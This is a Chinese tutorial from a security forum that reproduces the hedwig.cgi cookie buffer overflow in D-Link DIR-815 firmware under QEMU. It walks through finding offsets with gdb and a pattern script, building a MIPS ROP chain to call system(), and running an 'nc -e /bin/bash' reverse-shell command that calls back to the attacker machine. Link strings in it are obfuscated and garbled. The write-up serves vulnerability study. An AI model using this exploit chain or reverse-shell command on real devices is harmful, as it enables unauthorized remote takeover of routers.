原创作者:herculiz
以下内容纯原创辛苦手打,望大家多多支持。
首先感谢各位以下相关链接前辈师傅的知识分享精神,才萌生了本文。
由于年限及知识的更新,笔者觉得过去许多描述可能对新手不太友好(自己的痛苦经历),所以对其进行了补充及概述。
固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
gdbserver各架构对应调试文件(已经编译好了可以直接使用):a19K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5j5i4m8A6k6o6N6Q4x3V1k6W2L8h3u0W2k6r3c8W2k6q4)9J5k6s2c8G2L8$3I4K6i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3u0A6L8X3q4J5K9h3g2K6i4K6u0r3k6$3c8T1M7$3g2J5N6X3g2J5
exploitdb介绍:82eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0x3K6z5o6j5K6
从漏洞公告中可以看出,该漏洞存在于名为“hedwig.cgi” 的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值 ,使得程序栈溢出 ,从而获得路由器的远程控制权限。
1,binwalk -Me解压提取固件
2,
该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'查找文件,并ls -l ./htdocs/web/hedwig.cgi发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
1,用IDA静态调试cgibin文件,hedwigcgi_main函数处理真个过程,由于是HTTP_COOK这个字段引起的漏洞溢出点,可以在IDA(SHIFT+F12)搜索字符串,然后通过X,交叉引用来跟踪到hedwigcgi_main函数条用的位置。
跟踪到主函数的位置,对函数功能进行大致分析,或者利用Ghidra或IDA7.5反汇编hedwigcgi_main函数,可以定位到其中的sprintf函数引起了栈溢出(其实在后面还有一个sprintf函数调用,它才是真实环境利用的位置,后面讲解说明)。hedwigcgi_main函数通过sess_get_uid()获取到HTTP_COOKIE中uid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。
参考1:函数功能流程说明
这里需要用到qemu+IDA动态调试的方法:参考2:qemu+IDA动态调试
此处是qemu用户模式下仿真程序启动,qemu有两种模式,用户模式和系统模式,详细工具使用这在不影响思路的情况下为了避免篇幅冗余过长就省略了。
文件时小端有效的mips指令集,我们使用qemu-mipsel
注意: qemu-mipsel 由于依赖各种动态库,避免出现各种问题,我们这里手动复制库到当前目录下(squashfs-root目录下)
1,查看qemu-mipsel依赖的libc
2,直接创建后面的目录名,并复制动态链接库
3,通过脚本调试
当然也能直接通过以下参数方式调试,但个人感觉用习惯了脚本方式能更方便的修改参数内容和视觉上的简约。
sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=python -c "print 'uid=123'+'A'*0x600"-E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.x.x" -g 1234 ./htdocs/web/hedwig.cgi
3.1自己编写的调试tesh.sh脚本
3.2利用patternLocOffset.py生成content文件,包含特定格式的2000个字符串。
patternLocOffset.py源码附上(当然像cyclic这种工具也一样能实现同样效果):
3.3根据构造内容分析栈buff起始位置和$ra位置
可以在附近多下几个断点,然后观察栈内容数据。
坑点1:观察数据时候一定要对指定内容同步上,不然可能调着调着数据你都找不到。
坑点2: 你看数据内存中的内容的时候可能出现一段问号,基本就能判定处问号的起始和终止就是我们要找的位置,注释IDA对内存读写的保护机制,IDA会提示的,注意仔细看。(我没遇到,参考其他文章时看到介绍了,所以这里也提示下大家,可以通过手动去恢复显示,这里找不到链接了)
我构造的内容是从123开始,去找对应位置,即buff起始,并去找到栈上123对应起始位置,栈上的地址才是我们需要的,因为最终算的偏移是栈上的$RA位置 减去 缓存起始位置。
又添加了一张下图,为了让大家更好看清栈中内容,是我后面调试匹配的(内容我更换了,思路一样的)
找储存$RA位置
自动确定偏移:
手动:保存$RA栈的地址 - 读入buff起始的位置
坑点3:由于之前file缺点了大小端,所以如果之前没分析,找偏移时候还需两种模式计算偏移,然后核对。
经过验证,真正的漏洞点是第二个sprintf函数,找偏移类似以上过程。
原因:由于不是在真实环境下,里面缺少了相关文件,即偏移位置不同导致流程没在精心构造的步骤执行导致第一处sprintf利用rop失败。
无论是第一个sprintf还是第二个sprintf函数发生溢出,分析的流程是一样的,定位漏洞位置和确定偏移值。
所以我们可以先来构造ROP。主要的攻击目的是通过调用system(‘/bin/sh’)来getshell,system函数在libc.so中找,参数’/bin/sh’首先放入栈中,然后利用gadget将栈上的’/bin/sh’传入a0寄存器,再调用system函数即可。
下面我们通过gdb-multiarch+QEMU动态调试分析。
1,通过gdb指定脚本调试(避免重复输入,重复造轮子浪费时间)
dbgscript脚本内容:
启动执行命令:
gdb-multiarch htdocs/cgibin -x dbgscript
-x是指定要执行的命令文件
后面找gadget利用插件mipsrop请参考:如何寻找gadget及分析
这里补充点:第一次gadget
所以下面是a0=$(sp+0x170-0x160)
关于ROP:
mips的exp编写中还有一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。
参考:cache incoherency
构造exp时有可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。
由于qemu用户模式下仿真执行程序,环境各种因素影响导致执行shell失败,下面我们使用qemu系统模式仿真路由器真实环境进行溢出。
这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin可以知道/sbin/httpd应该是用于监听web端口的http服务,同时查看/htdocs/web文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。
1,自己按配置所需写入新建conf文件内容。
find ./ -name '*http*'找到web配置文件httpcfg.php。
查看内容后分析出httpcfg.php文件的作用是生成供所需服务的配置文件的内容,所以我们参照里面内容,自己创建一个conf作为生成的配置文件,填充我们所需的内容。
conf文件内容:
启动qemu仿真路由器系统:
坑点4:4deK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8R3`.`. 此处下载的 -kernel和 -hda的文件一定要同一个目录下的,并且匹配上的程序的大小端序,否则执行会出现
此内容提示。
2,测试两台主机ping通网络情况
qemu网络配置参考:家用路由器研究详解入门(内含仿真环境搭建) 两台主机互通按里面内容配置即可,如想联通外网,可按一把梭方法(硬核联网)。
3,将固件的提取的文件系统(在Ubuntu上)利用scp命令拷贝到mipsel虚拟机中
scp命令使用参考
4,之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库,以及conf配置文件中提到的/usr/sbin/phpcgi,/usr/sbin/hnap。
记得启动执行(需要进入squashfs-root目录使用,脚本最后启动了http服务。):
./copy.sh
5,在浏览器中访问conf文件中配置的192.168.79.143:1234/hedwig.cgi 文件内容
5.1访问方式一:
坑点5:如果你直接在浏览器中输入以上地址,默认https访问,手动改成http协议即可看见服务被启动。
5.2访问方式二:
在宿主机(ubuntu)中使用以下命令:其中-v显示详细信息,-X指定什么指令,-H 自定义头信息传递给服务器,-b 指定cookie字符串。
curl使用: 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
1,接下来尝试调试/htdocs/web/hedwig.cgi文件
返回no REQUEST,查看IDA静态反汇编得知没有指定环境变量REQUEST_METHOD的值(还是怼时间去逆向分析函数功能,如果能通过浏览器找到相关函数功能说明最好了,节约时间)。所以想要触发漏洞进行调试的话,还是需要通过export 设置相关环境变量。
运行成功:
2,接下来动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化。
3,在qemu仿真路由器系统中,和gdb进行动态调试
目的:验证地址偏移位置。
qemu仿真路由器系统中编写调试脚本:
记得在仿真路由器系统中启动:
./debug.sh
接下来启动gdb调试便可确定偏移。(这里gdb调试技能各位同学自己去实践操作吧,本人也在不断熟悉过程中,就不带各位一步一步跟了)
4,接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。
利用(注意根据会先pid规律,快速修改预测pid执行,否则maps地址数据不会出来)
a&b 先执行a,在执行b,无论a成功与否都会执行b 。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。
system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.x.145 9999(IP地址是ubuntu机器的,即攻击主机IP)
生成的context通过scp拷贝到mips虚拟机中并且nano debug.sh更改debug.sh
新的debug.sh内容:(在路由器仿真系统执行,即被攻击机)
在mips虚拟机运行之后在本机nc -vlp 9999,确实能够获取/bin/bash权限。成功了!说明rop链构造是没问题的。
最后:exp当然不止这一种,其他可以利用的方法也许多,由于受限于个人的知识水平,整理难免会出现不正确的地方,如若发现了问题,欢迎指出,笔者也会修改和完善相关内容,继续努力贡献更优质的号文章分享给大家。
由于各种原因涉及此行业,也是个人第一个完整复现成功的漏洞,在学习过程中发现许多问题,并且从解决过程中收获许多,正是因为遇到许多奇怪的坑,并且能找的相关资料甚少,所以花了大量时间完成了本文,文中内容尽量做到细节步骤都配图说明,希望能帮助到更多的同学。
浅聊心态历程:遇到各种问题被卡住时难免会产生放弃及怀疑的思虑,坚持下来的原因对我而言更多的是热爱,如若不是兴趣趋势,小劝各位同学尽早发现自己喜欢的方向或者职业。
1,DIR815缓冲区溢出漏洞分析相关:
31aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3N6i4l9J5P5g2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3x3U0l9J5x3q4)9J5c8U0l9#2i4K6u0r3x3U0u0Q4x3V1k6V1K9i4t1^5x3e0g2Q4x3X3c8Z5N6h3q4F1i4K6u0V1j5$3S2G2L8X3N6Q4x3X3c8I4N6g2)9J5k6s2W2A6i4K6u0V1j5$3S2#2i4K6u0V1L8r3!0#2i4K6u0V1k6r3!0F1k6#2)9J5k6s2A6S2K9g2)9J5k6r3k6W2L8W2)9J5k6s2S2A6i4K6u0r3 [1]
dd6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6A6j5h3&6@1j5Y4u0S2L8X3y4Z5i4K6u0W2j5$3&6Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6g2Q4x3V1j5H3x3#2)9J5c8V1c8Q4x3X3c8x3K9h3&6C8i4K6y4o6k6h3#2Q4x3@1g2p5d9g2u0Q4x3X3b7^5x3e0g2Q4x3@1y4Q4x3V1k6W2L8g2)9K6c8g2)9J5y4f1f1^5i4K6t1#2b7U0N6Q4x3U0g2m8c8W2)9J5y4f1f1%4i4K6t1#2z5e0c8Q4x3U0g2n7x3g2)9J5y4f1f1#2i4K6t1#2z5e0W2Q4x3U0g2m8z5q4)9J5y4f1f1#2i4K6t1#2b7e0c8Q4x3U0f1&6b7g2)9J5y4f1f1$3i4K6t1#2b7f1y4Q4x3U0g2m8x3g2)9J5y4f1f1$3i4K6t1#2b7V1q4Q4x3U0g2m8x3W2)9J5y4f1f1#2i4K6t1#2z5o6N6Q4x3U0g2n7b7g2)9J5y4f1f1#2i4K6t1#2z5o6S2Q4x3U0f1^5y4W2)9J5y4f1f1$3i4K6t1#2z5f1g2Q4x3U0f1&6x3q4)9J5c8R3`.`. [2]
cb6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6C8K9i4u0A6L8W2)9J5k6s2y4S2P5g2)9J5k6i4c8G2M7q4)9J5c8U0t1H3x3e0W2Q4x3V1j5H3x3W2)9J5c8U0t1K6i4K6u0r3b7Y4g2A6L8r3c8A6L8X3N6Q4x3X3c8y4d9g2m8e0i4K6u0V1c8h3&6$3K9i4u0G2L8X3#2W2L8Y4c8Q4x3X3c8X3L8%4u0Q4x3X3c8d9L8%4g2@1k6i4u0Q4x3X3c8b7g2@1&6Q4x3V1k6Q4x3U0x3H3P5o6l9J5i4K6u0V1d9f1c8m8i4K6t1#2c8e0W2Q4x3U0f1&6c8q4)9J5y4e0V1&6i4K6t1#2c8e0k6Q4x3U0f1^5x3q4)9J5y4e0R3I4i4K6t1#2c8e0g2Q4x3U0f1^5z5q4)9J5y4e0R3$3i4K6t1#2c8e0k6Q4x3U0f1&6c8g2)9J5y4e0V1H3i4K6g2n7x3#2)9#2c8l9`.`.
2,环境搭建
6f2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4N6W2K9i4S2A6L8W2)9#2k6U0b7@1x3K6l9&6x3K6l9H3i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3e0R3#2x3U0j5J5x3K6f1`. [1]
ff8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3N6i4l9J5P5g2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3x3U0l9J5x3q4)9J5c8U0l9K6i4K6u0r3x3K6m8Q4x3V1k6D9N6g2)9J5k6s2W2G2N6g2)9J5k6s2q4A6i4K6u0V1L8r3!0#2i4K6u0V1k6r3!0F1k6#2)9J5k6s2N6S2i4K6u0V1K9Y4g2W2i4K6u0V1K9s2g2S2L8W2)9J5k6r3A6A6L8X3N6Q4x3X3c8V1j5g2)9J5k6r3A6A6j5h3&6Q4x3V1j5`. [2]
3,GDB+GDBServer调试Linux应用程序
cacK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3j5%4y4D9N6h3&6S2N6r3W2U0i4K6u0r3M7q4)9J5c8U0x3$3x3K6f1#2x3U0m8Q4x3X3g2Z5N6r3#2D9
4,配置文件
httpd配置文件httpd.conf规则说明和一些基本指令
5,<<揭秘家用路由器0day漏洞挖掘技术>>
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
test=$(python -c "print 'uid='+open('exploit','r').read()")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
test=$(python -c "print 'uid='+open('exploit','r').read()")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
python patternLocOffset.py -c -l 2000 -f content
python patternLocOffset.py -c -l 2000 -f content
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1:
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian():
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
length= args.length
output = args.file
createCode = args.create
searchCode = args.search
if createCode and (0 <args.length <= 26*26*10):
generate(length,output)
elif searchCode and (0 <args.length <=26*26*10):
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
if __name__ == "__main__":
if __name__ == '__main__':
mian()
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1:
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian():
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
length= args.length
output = args.file
createCode = args.create
searchCode = args.search
if createCode and (0 <args.length <= 26*26*10):
generate(length,output)
elif searchCode and (0 <args.length <=26*26*10):
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
if __name__ == "__main__":
if __name__ == '__main__':
mian()
python patternLocOffset.py -s 0x38694237 -l 2000
python patternLocOffset.py -s 0x38694237 -l 2000
gdb-multiarch htdocs/cgibin
set architecture mips
target remote :1234
b *0x409A54
c
vmmap
gdb-multiarch htdocs/cgibin
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-8-13 15:56
被herculiz编辑
,原因:
上传的附件: